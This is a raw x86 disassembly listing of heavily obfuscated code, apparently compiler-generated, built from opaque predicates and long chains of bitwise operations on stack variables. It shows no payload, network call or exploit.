xor cl, 0xff
mov ah, byte [ebp - 0x2b8d]
or ah, 0
and cl, ah
or al, cl
mov cl, bl
and cl, 0
xor bl, 0
or cl, bl
mov ah, al
xor ah, 0xff
and ah, 1
mov bl, dl
xor bl, 1
and al, bl
or ah, al
xor ah, 0xff
xor cl, 0xff
mov al, dl
xor al, 1
or ah, cl
or al, 1
xor ah, 0xff
and ah, al
mov al, byte [ebp - 0x2b82]
xor al, 0xff
mov cl, byte [ebp - 0x2b89]
xor cl, 0xff
mov bl, dl
xor bl, 1
or al, cl
or bl, 1
xor al, 0xff
and al, bl
mov cl, byte [ebp - 0x2b82]
xor cl, 0xff
mov bl, byte [ebp - 0x2b89]
and bl, cl
mov cl, byte [ebp - 0x2b89]
xor cl, 0xff
mov bh, byte [ebp - 0x2b82]
and bh, cl
or bl, bh
mov cl, al
xor cl, 0xff
mov bh, bl
xor bh, 0xff
mov byte [ebp - 0x2b90], al
mov al, dl
xor al, 0
mov byte [ebp - 0x2b91], al
mov al, cl
and al, 0
mov byte [ebp - 0x2b92], al
mov al, byte [ebp - 0x2b90]
mov byte [ebp - 0x2b93], cl
mov cl, byte [ebp - 0x2b91]
and al, cl
mov cl, bh
and cl, 0
mov byte [ebp - 0x2b94], al
mov al, byte [ebp - 0x2b91]
and bl, al
mov al, byte [ebp - 0x2b92]
mov byte [ebp - 0x2b95], cl
mov cl, byte [ebp - 0x2b94]
or al, cl
mov cl, byte [ebp - 0x2b95]
or cl, bl
xor al, cl
mov cl, byte [ebp - 0x2b93]
or cl, bh
xor cl, 0xff
mov bl, byte [ebp - 0x2b91]
or bl, 0
and cl, bl
or al, cl
mov cl, dh
xor cl, 0xff
and cl, 1
mov bl, dl
xor bl, 1
mov bh, dh
and bh, bl
or cl, bh
mov bl, ah
xor bl, 0xff
and bl, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x2b96], al
mov al, ah
and al, bh
mov byte [ebp - 0x2b97], al
mov al, dl
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x2b98], al
mov al, byte [ebp - 0x2b97]
or bl, al
mov al, byte [ebp - 0x2b98]
or al, bh
xor bl, al
mov al, dl
xor al, 1
and al, 1
mov bh, dl
xor bh, 1
and bh, 1
or al, bh
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x2b99], al
mov al, dl
xor al, 1
mov byte [ebp - 0x2b9a], al
mov al, dl
xor al, 1
mov byte [ebp - 0x2b9b], al
mov al, byte [ebp - 0x2b9a]
or bh, al
mov al, byte [ebp - 0x2b9b]
or al, 1
xor bh, 0xff
and bh, al
xor dh, 0xff
mov al, byte [ebp - 0x2b99]
xor al, 0xff
mov byte [ebp - 0x2b9c], al
mov al, dl
xor al, 1
mov byte [ebp - 0x2b9d], al
mov al, byte [ebp - 0x2b9c]
or dh, al
mov al, byte [ebp - 0x2b9d]
or al, 1
xor dh, 0xff
and dh, al
mov al, bl
xor al, 0xff
mov byte [ebp - 0x2b9e], al
mov al, dl
xor al, 1
mov byte [ebp - 0x2b9f], al
mov al, dl
xor al, 1
mov byte [ebp - 0x2ba0], al
mov al, byte [ebp - 0x2b9e]
mov byte [ebp - 0x2ba1], cl
mov cl, byte [ebp - 0x2b9f]
or al, cl
mov cl, byte [ebp - 0x2ba0]
or cl, 1
xor al, 0xff
and al, cl
mov cl, byte [ebp - 0x2b99]
xor cl, 0xff
mov byte [ebp - 0x2ba2], al
mov al, ah
xor al, cl
and al, ah
mov cl, bh
and cl, dh
xor bh, dh
or cl, bh
mov ah, byte [ebp - 0x2ba2]
xor ah, 0xff
mov dh, al
xor dh, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0x2ba3], al
mov al, ah
and al, 0
mov byte [ebp - 0x2ba4], al
mov al, byte [ebp - 0x2ba2]
and al, bh
mov byte [ebp - 0x2ba5], al
mov al, dh
and al, 0
mov byte [ebp - 0x2ba6], al
mov al, byte [ebp - 0x2ba3]
and al, bh
mov byte [ebp - 0x2ba7], al
mov al, byte [ebp - 0x2ba4]
mov byte [ebp - 0x2ba8], cl
mov cl, byte [ebp - 0x2ba5]
or al, cl
mov cl, byte [ebp - 0x2ba6]
mov byte [ebp - 0x2ba9], al
mov al, byte [ebp - 0x2ba7]
or cl, al
mov al, byte [ebp - 0x2ba9]
xor al, cl
or ah, dh
xor ah, 0xff
or bh, 0
and ah, bh
or al, ah
mov cl, byte [ebp - 0x2ba8]
xor cl, 0xff
mov ah, al
and ah, cl
xor al, 0xff
mov cl, byte [ebp - 0x2ba8]
and cl, al
or ah, cl
mov al, byte [ebp - 0x2ba1]
and al, bl
mov cl, byte [ebp - 0x2ba1]
xor cl, bl
or al, cl
mov cl, al
xor cl, 0xff
and cl, 0
mov dh, dl
xor dh, 0
and al, dh
mov bl, dl
xor bl, 1
and bl, 0
and dh, 1
or cl, al
or bl, dh
xor cl, bl
mov al, byte [ebp - 0x2b99]
and al, 1
mov dh, byte [ebp - 0x2b99]
xor dh, 1
or al, dh
xor cl, 0xff
xor al, 0xff
mov dh, dl
xor dh, 0
or cl, al
or dh, 0
xor cl, 0xff
and cl, dh
mov al, ah
xor al, 0xff
mov dh, cl
xor dh, 0xff
mov bl, dl
xor bl, 1
mov bh, al
and bh, 0xff
and ah, bl
mov byte [ebp - 0x2baa], al
mov al, dh
and al, 0xff
and cl, bl
or bh, ah
or al, cl
xor bh, al
mov al, byte [ebp - 0x2baa]
or al, dh
xor al, 0xff
or bl, 1
and al, bl
or bh, al
mov al, byte [ebp - 0x2b96]
xor al, 0xff
and al, 0
mov cl, dl
xor cl, 0
mov ah, byte [ebp - 0x2b96]
and ah, cl
mov dh, dl
xor dh, 1
and dh, 0
and cl, 1
or al, ah
or dh, cl
xor al, dh
mov cl, bh
xor cl, 0xff
xor al, 0xff
mov ah, dl
xor ah, 0
or cl, al
or ah, 0
xor cl, 0xff
and cl, ah
mov al, bh
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
and bh, ah
mov dh, dl
xor dh, 1
and dh, 0xff
and ah, 1
or al, bh
or dh, ah
xor al, dh
mov ah, byte [ebp - 0x2b96]
xor ah, 0xff
xor al, 0xff
mov dh, dl
xor dh, 1
or ah, al
or dh, 1
xor ah, 0xff
and ah, dh
mov al, cl
and al, ah
xor cl, ah
or al, cl
mov cl, byte [ebp - 0x2b6a]
xor cl, 0xff
and cl, 0
mov ah, dl
xor ah, 0
mov dh, byte [ebp - 0x2b6a]
and dh, ah
mov bl, dl
xor bl, 1
and bl, 0
and ah, 1
or cl, dh
or bl, ah
xor cl, bl
mov ah, ch
xor ah, 0xff
and ah, 1
mov dh, dl
xor dh, 1
mov bl, ch
and bl, dh
or ah, bl
mov dh, dl
xor dh, 1
and dh, 1
mov bl, dl
xor bl, 1
and bl, 1
or dh, bl
mov bl, dl
xor bl, 1
mov bh, cl
xor bh, bl
and bh, cl
mov bl, byte [ebp - 0x2b6a]
xor bl, 0xff
mov byte [ebp - 0x2bab], al
mov al, dh
xor al, 0xff
mov byte [ebp - 0x2bac], al
mov al, dl
xor al, 0
mov byte [ebp - 0x2bad], al
mov al, byte [ebp - 0x2bac]
or bl, al
mov al, byte [ebp - 0x2bad]
or al, 0
xor bl, 0xff
and bl, al
mov al, dl
xor al, 1
mov byte [ebp - 0x2bae], al
mov al, ah
mov byte [ebp - 0x2baf], cl
mov cl, byte [ebp - 0x2bae]
xor al, cl
and al, ah
mov cl, dh
xor cl, 0xff
mov byte [ebp - 0x2bb0], al
mov al, ch
xor al, cl
and al, ch
mov cl, bh
and cl, bl
xor bh, bl
or cl, bh
mov ch, byte [ebp - 0x2bb0]
and ch, al
mov bl, byte [ebp - 0x2bb0]
xor bl, al
or ch, bl
mov al, cl
xor al, 0xff
mov bl, ch
and bl, al
xor ch, 0xff
and cl, ch
or bl, cl
mov al, byte [ebp - 0x2baf]
xor al, 0xff
mov cl, ah
xor cl, 0xff
mov ch, dl
xor ch, 1
mov bh, al
and bh, 0xff
mov byte [ebp - 0x2bb1], al
mov al, byte [ebp - 0x2baf]
and al, ch
mov byte [ebp - 0x2bb2], al
mov al, cl
and al, 0xff
and ah, ch
mov byte [ebp - 0x2bb3], al
mov al, byte [ebp - 0x2bb2]
or bh, al
mov al, byte [ebp - 0x2bb3]
or al, ah
xor bh, al
mov al, byte [ebp - 0x2bb1]
or al, cl
xor al, 0xff
or ch, 1
and al, ch
or bh, al
mov al, bh
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
and bh, cl
or al, bh
mov cl, dh
and cl, 1
xor dh, 1
or cl, dh
xor al, 0xff
xor cl, 0xff
mov ah, dl
xor ah, 1
or al, cl
or ah, 1
xor al, 0xff
and al, ah
mov cl, bl
xor cl, 0xff
mov ah, al
xor ah, 0xff
mov ch, dl
xor ch, 1
mov dh, cl
and dh, 0xff
and bl, ch
mov bh, ah
and bh, 0xff
and al, ch
or dh, bl
or bh, al
xor dh, bh
or cl, ah
xor cl, 0xff
or ch, 1
and cl, ch
or dh, cl
mov al, dh
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov ah, dh
and ah, cl
or al, ah
mov cl, dl
xor cl, 1
xor al, 0xff
mov ah, dl
xor ah, 1
or cl, al
or ah, 1
xor cl, 0xff
and cl, ah
mov al, dl
xor al, 1
and al, 1
mov ah, dl
xor ah, 1
mov ch, ah
and ch, 1
mov bl, dl
xor bl, 1
and bl, 0xff
and ah, 1
or al, ch
or bl, ah
xor al, bl
xor dh, 0xff
xor al, 0xff
mov ah, dl
xor ah, 1
or dh, al
or ah, 1
xor dh, 0xff
and dh, ah
mov al, cl
and al, dh
xor cl, dh
or al, cl
mov cl, dl
xor cl, 0
mov ah, byte [ebp - 0x2b7b]
xor ah, 0xff
mov ch, dl
xor ch, 1
or cl, ah
or ch, 1
xor cl, 0xff
and cl, ch
mov ah, dl
xor ah, 0
and ah, 1
mov ch, dl
xor ch, 1
mov dh, ch
and dh, 0
mov bl, byte [ebp - 0x2b7b]
xor bl, 0xff
and bl, 0xff
mov bh, byte [ebp - 0x2b7b]
and bh, ch
or ah, dh
or bl, bh
xor ah, bl
mov ch, cl
and ch, ah
xor cl, ah
or ch, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
and al, ah
mov dh, dl
xor dh, 1
and dh, 0xff
and ah, 1
or cl, al
or dh, ah
xor cl, dh
mov al, ch
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
and ch, ah
or al, ch
mov ah, dl
xor ah, 0
and ah, 1
mov ch, dl
xor ch, 1
and ch, 0
or ah, ch
mov ch, cl
and ch, al
xor cl, al
or ch, cl
mov al, dl
xor al, 0
mov cl, ah
xor cl, 0xff
mov dh, dl
xor dh, 0
mov bl, al
and bl, 0
mov bh, dh
and bh, 0
mov byte [ebp - 0x2bb4], al
mov al, cl
and al, 0
and ah, dh
or bl, bh
or al, ah
xor bl, al
mov al, byte [ebp - 0x2bb4]
or al, cl
xor al, 0xff
or dh, 0
and al, dh
or bl, al
mov al, ch
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
and ch, cl
mov ah, dl
xor ah, 1
and ah, 0xff
and cl, 1
or al, ch
or ah, cl
xor al, ah
xor bl, 0xff
mov cl, al
xor cl, bl
and cl, al
mov al, byte [ebp - 0x2bab]
xor al, 0xff
mov ah, cl
xor ah, 0xff
mov ch, dl
xor ch, 1
or al, ah
or ch, 1
xor al, 0xff
and al, ch
mov ah, byte [ebp - 0x2bab]
xor ah, 0xff
and ah, 0
mov ch, dl
xor ch, 0
mov dh, byte [ebp - 0x2bab]
and dh, ch
mov bl, cl
xor bl, 0xff
and bl, 0
and cl, ch
or ah, dh
or bl, cl
xor ah, bl
mov cl, al
xor cl, 0xff
mov ch, ah
xor ch, 0xff
xor dl, 1
mov dh, cl
and dh, 0xff
and al, dl
mov bl, ch
and bl, 0xff
and ah, dl
or dh, al
or bl, ah
xor dh, bl
or cl, ch
xor cl, 0xff
or dl, 1
and cl, dl
or dh, cl
test dh, 1
mov esi, dword [ebp - 0x2b60]
mov edi, dword [ebp - 0x2b74]
cmovne esi, edi
mov dword [ebp - 0xa8], esi
jmp 0x45c869
mov eax, 0xb11fb6a1
mov ecx, 0x7245e6fc
mov dl, 1
mov esi, 0xb3f3cb82
xor edi, edi
mov ebx, dword [0x4ac09c]
mov dword [ebp - 0x31f0], eax
mov eax, dword [0x4ac084]
mov dword [ebp - 0x31f4], eax
mov eax, edi
sub eax, ebx
mov dword [ebp - 0x31f8], eax
mov eax, edi
sub eax, 0xded403ef
mov dword [ebp - 0x31fc], eax
mov eax, dword [ebp - 0x31f8]
mov dword [ebp - 0x3200], ecx
mov ecx, dword [ebp - 0x31fc]
add eax, ecx
mov ecx, edi
sub ecx, eax
add ecx, 0x5d2f58ad
sub ecx, 0x834d185d
sub ecx, 0x5d2f58ad
mov eax, edi
sub eax, 0xded403ef
add ecx, eax
sub edi, 0xbd219303
sub ecx, edi
sub ecx, 0x8345aecb
sub ecx, 1
add ecx, 0x8345aecb
sub ecx, 0xb445f527
sub ecx, 0xbd219303
add ecx, 0xb445f527
add esi, 0
sub esi, 0x834d185d
sub esi, 0xb3f3cb82
add ecx, 0xffc3e91b
sub ecx, esi
sub ecx, 0xffc3e91b
imul ebx, ecx
and ebx, 1
cmp ebx, 0
sete dh
mov eax, dword [ebp - 0x31f4]
cmp eax, 0xa
setl al
mov ah, dh
xor ah, 0xff
and ah, 1
mov cl, dl
xor cl, 1
mov ch, dh
and ch, cl
or ah, ch
mov cl, al
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov bl, al
and bl, ch
or cl, bl
mov ch, dl
xor ch, 0
and ch, 0
mov bl, dl
xor bl, 0
mov bh, bl
and bh, 0
mov byte [ebp - 0x3201], al
mov al, dl
xor al, 1
and al, 0
and bl, 1
or ch, bh
or al, bl
xor ch, al
mov al, ah
xor al, 0xff
mov bl, cl
xor bl, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0x3202], al
and al, 0
and ah, bh
mov byte [ebp - 0x3203], al
mov al, bl
and al, 0
and cl, bh
mov byte [ebp - 0x3204], al
mov al, byte [ebp - 0x3203]
or al, ah
mov ah, byte [ebp - 0x3204]
or ah, cl
xor al, ah
mov cl, byte [ebp - 0x3202]
or cl, bl
xor cl, 0xff
or bh, 0
and cl, bh
or al, cl
mov cl, dl
xor cl, 0
mov ah, ch
xor ah, 0xff
mov bl, dl
xor bl, 1
mov bh, cl
and bh, 0xff
mov byte [ebp - 0x3205], al
mov al, bl
and al, 0
mov byte [ebp - 0x3206], al
mov al, ah
and al, 0xff
and ch, bl
mov byte [ebp - 0x3207], al
mov al, byte [ebp - 0x3206]
or bh, al
mov al, byte [ebp - 0x3207]
or al, ch
xor bh, al
or cl, ah
xor cl, 0xff
or bl, 1
and cl, bl
or bh, cl
mov al, byte [ebp - 0x3205]
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov ah, byte [ebp - 0x3205]
and ah, cl
or al, ah
xor al, 0xff
xor bh, 0xff
mov cl, dl
xor cl, 1
or al, bh
or cl, 1
xor al, 0xff
and al, cl
mov cl, dh
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
mov ch, dh
and ch, ah
or cl, ch
mov ah, dl
xor ah, 0
xor cl, 0xff
mov ch, dl
xor ch, 1
or ah, cl
or ch, 1
xor ah, 0xff
and ah, ch
mov cl, dl
xor cl, 0
and cl, 0
mov ch, dl
xor ch, 0
mov bl, ch
and bl, 0
mov bh, dl
xor bh, 1
and bh, 0
and ch, 1
or cl, bl
or bh, ch
xor cl, bh
mov ch, cl
xor ch, 0xff
mov bl, dh
xor bl, ch
and bl, dh
mov ch, byte [ebp - 0x3201]
xor ch, 0xff
and ch, 1
mov dh, dl
xor dh, 1
mov bh, byte [ebp - 0x3201]
and bh, dh
or ch, bh
mov dh, dl
xor dh, 0
mov bh, ch
xor bh, dh
and bh, ch
xor cl, 0xff
mov ch, byte [ebp - 0x3201]
xor ch, cl
mov cl, byte [ebp - 0x3201]
and ch, cl
mov dh, ah
xor dh, 0xff
mov cl, bl
xor cl, 0xff
mov byte [ebp - 0x3208], al
mov al, dl
xor al, 1
mov byte [ebp - 0x3209], al
mov al, dh
and al, 0xff
mov byte [ebp - 0x320a], al
mov al, byte [ebp - 0x3209]
and ah, al
mov al, cl
and al, 0xff
mov byte [ebp - 0x320b], al
mov al, byte [ebp - 0x3209]
and bl, al
mov al, byte [ebp - 0x320a]
or al, ah
mov ah, byte [ebp - 0x320b]
or ah, bl
xor al, ah
or dh, cl
xor dh, 0xff
mov cl, byte [ebp - 0x3209]
or cl, 1
and dh, cl
or al, dh
mov cl, bh
xor cl, 0xff
mov ah, ch
xor ah, 0xff
mov dh, dl
xor dh, 0
mov bl, cl
and bl, 0
and bh, dh
mov byte [ebp - 0x320c], al
mov al, ah
and al, 0
and ch, dh
or bl, bh
or al, ch
xor bl, al
or cl, ah
xor cl, 0xff
or dh, 0
and cl, dh
or bl, cl
mov al, byte [ebp - 0x320c]
xor al, 0xff
and al, 0
mov cl, dl
xor cl, 0
mov ah, byte [ebp - 0x320c]
and ah, cl
mov ch, bl
xor ch, 0xff
and ch, 0
and bl, cl
or al, ah
or ch, bl
xor al, ch
mov cl, byte [ebp - 0x3208]
xor cl, 0xff
mov ah, al
xor ah, 0xff
mov ch, dl
xor ch, 1
or cl, ah
or ch, 1
xor cl, 0xff
and cl, ch
mov ah, byte [ebp - 0x3208]
xor ah, 0xff
and ah, 0
mov ch, dl
xor ch, 0
mov dh, byte [ebp - 0x3208]
and dh, ch
mov bl, al
xor bl, 0xff
and bl, 0
and al, ch
or ah, dh
or bl, al
xor ah, bl
mov al, cl
xor al, 0xff
mov ch, ah
xor ch, 0xff
xor dl, 1
mov dh, al
and dh, 0xff
and cl, dl
mov bl, ch
and bl, 0xff
and ah, dl
or dh, cl
or bl, ah
xor dh, bl
or al, ch
xor al, 0xff
or dl, 1
and al, dl
or dh, al
test dh, 1
mov esi, dword [ebp - 0x31f0]
mov edi, dword [ebp - 0x3200]
cmovne esi, edi
mov dword [ebp - 0xa8], esi
jmp 0x45c869
mov eax, 0xb3c3680b
mov ecx, 0x178bd906
mov dl, 1
xor esi, esi
mov edi, dword [0x4ac09c]
mov ebx, dword [0x4ac084]
mov dword [ebp - 0x3284], eax
mov eax, esi
sub eax, 0xee699b44
add eax, 0
mov dword [ebp - 0x3288], eax
mov eax, esi
sub eax, edi
mov dword [ebp - 0x328c], eax
mov eax, esi
mov dword [ebp - 0x3290], ecx
mov ecx, dword [ebp - 0x3288]
sub eax, ecx
mov ecx, dword [ebp - 0x328c]
add ecx, eax
mov eax, esi
sub eax, ecx
mov ecx, esi
sub ecx, 0x5004bcb4
sub ecx, 1
add ecx, 0x5004bcb4
mov dword [ebp - 0x3294], eax
mov eax, esi
sub eax, ecx
mov ecx, dword [ebp - 0x3294]
sub ecx, eax
mov eax, esi
sub eax, 0x804bca91
sub eax, 0xee699b44
add eax, 0x804bca91
sub esi, eax
add ecx, esi
imul edi, ecx
and edi, 1
cmp edi, 0
sete dh
cmp ebx, 0xa
setl al
mov ah, dh
xor ah, 0xff
and ah, 1
mov cl, dl
xor cl, 1
mov ch, dh
and ch, cl
mov bl, dl
xor bl, 1
and bl, 0xff
and cl, 1
or ah, ch
or bl, cl
xor ah, bl
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov cl, dl
xor cl, 1
and cl, 1
mov ch, dl
xor ch, 1
and ch, 1
or cl, ch
xor cl, 0xff
mov ch, dh
xor ch, cl
and ch, dh
mov cl, ah
and cl, ch
xor ah, ch
or cl, ah
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
mov bl, al
and bl, ch
or ah, bl
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov ch, dl
xor ch, 1
and ch, 1
mov bl, dl
xor bl, 1
mov bh, bl
and bh, 1
mov byte [ebp - 0x3295], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
or ch, bh
or al, bl
xor ch, al
mov al, byte [ebp - 0x3295]
xor al, 0xff
xor ch, 0xff
mov bl, dl
xor bl, 1
or al, ch
or bl, 1
xor al, 0xff
and al, bl
mov ch, ah
xor ch, 0xff
mov bl, al
xor bl, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x3296], al
mov al, ch
and al, 0xff
and ah, bh
mov byte [ebp - 0x3297], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x3298], al
mov al, byte [ebp - 0x3296]
and al, bh
mov byte [ebp - 0x3299], al
mov al, byte [ebp - 0x3297]
or al, ah
mov ah, byte [ebp - 0x3298]
mov byte [ebp - 0x329a], al
mov al, byte [ebp - 0x3299]
or ah, al
mov al, byte [ebp - 0x329a]
xor al, ah
or ch, bl
xor ch, 0xff
or bh, 1
and ch, bh
or al, ch
mov ah, dl
xor ah, 1
and ah, 1
mov ch, dl
xor ch, 1
and ch, 1
or ah, ch
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov ch, dl
xor ch, 1
and ch, 1
mov bl, dl
xor bl, 1
mov bh, bl
and bh, 1
mov byte [ebp - 0x329b], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
or ch, bh
or al, bl
xor ch, al
mov al, dl
xor al, 1
mov bl, ch
xor bl, 0xff
mov bh, dl
xor bh, 1
or al, bl
or bh, 1
xor al, 0xff
and al, bh
mov bl, dl
xor bl, 1
and bl, 1
mov bh, dl
xor bh, 1
and bh, 1
or bl, bh
xor bl, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x329c], al
mov al, dl
xor al, 0
or bl, bh
or al, 0
xor bl, 0xff
and bl, al
mov al, dl
xor al, 1
xor ch, 0xff
mov bh, dl
xor bh, 1
or al, ch
or bh, 1
xor al, 0xff
and al, bh
mov ch, ah
xor ch, 0xff
mov bh, byte [ebp - 0x329c]
xor bh, 0xff
mov byte [ebp - 0x329d], al
mov al, dl
xor al, 0
mov byte [ebp - 0x329e], al
mov al, ch
and al, 0
mov byte [ebp - 0x329f], al
mov al, byte [ebp - 0x329e]
and ah, al
mov al, bh
and al, 0
mov byte [ebp - 0x32a0], al
mov al, byte [ebp - 0x329c]
mov byte [ebp - 0x32a1], cl
mov cl, byte [ebp - 0x329e]
and al, cl
mov cl, byte [ebp - 0x329f]
or cl, ah
mov ah, byte [ebp - 0x32a0]
or ah, al
xor cl, ah
or ch, bh
xor ch, 0xff
mov al, byte [ebp - 0x329e]
or al, 0
and ch, al
or cl, ch
mov al, bl
mov ah, byte [ebp - 0x329d]
and al, ah
xor bl, ah
or al, bl
mov ch, cl
xor ch, 0xff
and ch, 1
mov bl, dl
xor bl, 1
and cl, bl
mov bh, al
xor bh, 0xff
and bh, 0xff
and al, bl
or ch, cl
or bh, al
xor ch, bh
mov al, byte [ebp - 0x32a1]
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov bl, byte [ebp - 0x32a1]
and bl, cl
or al, bl
mov cl, dl
xor cl, 1
and cl, 1
mov bl, dl
xor bl, 1
mov bh, bl
and bh, 1
mov ah, dl
xor ah, 1
and ah, 0xff
and bl, 1
or cl, bh
or ah, bl
xor cl, ah
mov ah, dl
xor ah, 1
and ah, 1
mov bl, dl
xor bl, 1
mov bh, bl
and bh, 1
mov byte [ebp - 0x32a2], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
or ah, bh
or al, bl
xor ah, al
mov al, byte [ebp - 0x32a2]
xor al, 0xff
mov bl, cl
xor bl, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0x32a3], al
and al, 0
mov byte [ebp - 0x32a4], al
mov al, byte [ebp - 0x32a2]
and al, bh
mov byte [ebp - 0x32a5], al
mov al, bl
and al, 0
and cl, bh
mov byte [ebp - 0x32a6], al
mov al, byte [ebp - 0x32a4]
mov byte [ebp - 0x32a7], cl
mov cl, byte [ebp - 0x32a5]
or al, cl
mov cl, byte [ebp - 0x32a6]
mov byte [ebp - 0x32a8], al
mov al, byte [ebp - 0x32a7]
or cl, al
mov al, byte [ebp - 0x32a8]
xor al, cl
mov cl, byte [ebp - 0x32a3]
or cl, bl
xor cl, 0xff
or bh, 0
and cl, bh
or al, cl
mov cl, dl
xor cl, 1
mov bl, ah
xor bl, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0x32a9], al
mov al, cl
and al, 0
mov byte [ebp - 0x32aa], al
mov al, bh
and al, 1
mov byte [ebp - 0x32ab], al
mov al, bl
and al, 0
and ah, bh
mov byte [ebp - 0x32ac], al
mov al, byte [ebp - 0x32aa]
mov byte [ebp - 0x32ad], cl
mov cl, byte [ebp - 0x32ab]
or al, cl
mov cl, byte [ebp - 0x32ac]
or cl, ah
xor al, cl
mov cl, byte [ebp - 0x32ad]
or cl, bl
xor cl, 0xff
or bh, 0
and cl, bh
or al, cl
mov cl, byte [ebp - 0x32a9]
xor cl, 0xff
and cl, 0
mov ah, dl
xor ah, 0
mov bl, byte [ebp - 0x32a9]
and bl, ah
mov bh, dl
xor bh, 1
and bh, 0
and ah, 1
or cl, bl
or bh, ah
xor cl, bh
xor cl, 0xff
xor al, 0xff
mov ah, dl
xor ah, 1
or cl, al
or ah, 1
xor cl, 0xff
and cl, ah
mov al, dh
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
and dh, ah
mov bl, dl
xor bl, 1
and bl, 0xff
and ah, 1
or al, dh
or bl, ah
xor al, bl
mov ah, ch
xor ah, 0xff
and ah, 0
mov dh, dl
xor dh, 0
mov bl, ch
and bl, dh
mov bh, dl
xor bh, 1
and bh, 0
and dh, 1
or ah, bl
or bh, dh
xor ah, bh
mov dh, dl
xor dh, 0
and dh, 1
mov bl, dl
xor bl, 1
and bl, 0
or dh, bl
mov bl, al
and bl, ah
xor al, ah
or bl, al
mov al, dh
and al, 0
xor dh, 0
or al, dh
mov ah, bl
xor ah, 0xff
and ah, 1
mov dh, dl
xor dh, 1
and bl, dh
mov bh, dl
xor bh, 1
and bh, 0xff
and dh, 1
or ah, bl
or bh, dh
xor ah, bh
xor ah, 0xff
xor al, 0xff
mov dh, dl
xor dh, 1
or ah, al
or dh, 1
xor ah, 0xff
and ah, dh
mov al, byte [ebp - 0x329b]
xor al, 0xff
and al, 1
mov dh, dl
xor dh, 1
mov bl, byte [ebp - 0x329b]
and bl, dh
or al, bl
mov dh, dl
xor dh, 1
and dh, 1
mov bl, dl
xor bl, 1
mov bh, bl
and bh, 1
mov byte [ebp - 0x32ae], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
or dh, bh
or al, bl
xor dh, al
mov al, dl
xor al, 0
and al, 1
mov bl, dl
xor bl, 1
mov bh, bl
and bh, 0
mov byte [ebp - 0x32af], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
mov byte [ebp - 0x32b0], al
mov al, byte [ebp - 0x32af]
or al, bh
mov bh, byte [ebp - 0x32b0]
or bh, bl
xor al, bh
mov bl, byte [ebp - 0x32ae]
xor bl, 0xff
mov bh, dh
xor bh, 0xff
mov byte [ebp - 0x32b1], al
mov al, dl
xor al, 0
mov byte [ebp - 0x32b2], al
mov al, bl
and al, 0
mov byte [ebp - 0x32b3], al
mov al, byte [ebp - 0x32ae]
mov byte [ebp - 0x32b4], cl
mov cl, byte [ebp - 0x32b2]
and al, cl
mov cl, bh
and cl, 0
mov byte [ebp - 0x32b5], al
mov al, byte [ebp - 0x32b2]
and dh, al
mov al, byte [ebp - 0x32b3]
mov byte [ebp - 0x32b6], cl
mov cl, byte [ebp - 0x32b5]
or al, cl
mov cl, byte [ebp - 0x32b6]
or cl, dh
xor al, cl
or bl, bh
xor bl, 0xff
mov cl, byte [ebp - 0x32b2]
or cl, 0
and bl, cl
or al, bl
mov cl, dl
xor cl, 0
mov dh, byte [ebp - 0x32b1]
xor dh, 0xff
mov bl, dl
xor bl, 1
mov bh, cl
and bh, 0xff
mov byte [ebp - 0x32b7], al
mov al, bl
and al, 0
mov byte [ebp - 0x32b8], al
mov al, dh
and al, 0xff
mov byte [ebp - 0x32b9], al
mov al, byte [ebp - 0x32b1]
and al, bl
mov byte [ebp - 0x32ba], al
mov al, byte [ebp - 0x32b8]
or bh, al
mov al, byte [ebp - 0x32b9]
mov byte [ebp - 0x32bb], cl
mov cl, byte [ebp - 0x32ba]
or al, cl
xor bh, al
mov al, byte [ebp - 0x32bb]
or al, dh
xor al, 0xff
or bl, 1
and al, bl
or bh, al
mov al, byte [ebp - 0x32b7]
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov dh, byte [ebp - 0x32b7]
and dh, cl
or al, dh
xor bh, 0xff
mov cl, al
xor cl, bh
and cl, al
mov al, byte [ebp - 0x3295]
xor al, 0xff
and al, 1
mov dh, dl
xor dh, 1
mov bl, byte [ebp - 0x3295]
and bl, dh
or al, bl
mov dh, ch
xor dh, 0xff
and dh, 0
mov bl, dl
xor bl, 0
mov bh, ch
and bh, bl
mov byte [ebp - 0x32bc], al
mov al, dl
xor al, 1
and al, 0
and bl, 1
or dh, bh
or al, bl
xor dh, al
mov al, dl
xor al, 0
and al, 1
mov bl, dl
xor bl, 1
mov bh, bl
and bh, 0
mov byte [ebp - 0x32bd], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
mov byte [ebp - 0x32be], al
mov al, byte [ebp - 0x32bd]
or al, bh
mov bh, byte [ebp - 0x32be]
or bh, bl
xor al, bh
mov bl, byte [ebp - 0x32bc]
xor bl, 0xff
mov bh, dh
xor bh, 0xff
mov byte [ebp - 0x32bf], al
mov al, dl
xor al, 1
mov byte [ebp - 0x32c0], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x32c1], al
mov al, byte [ebp - 0x32bc]
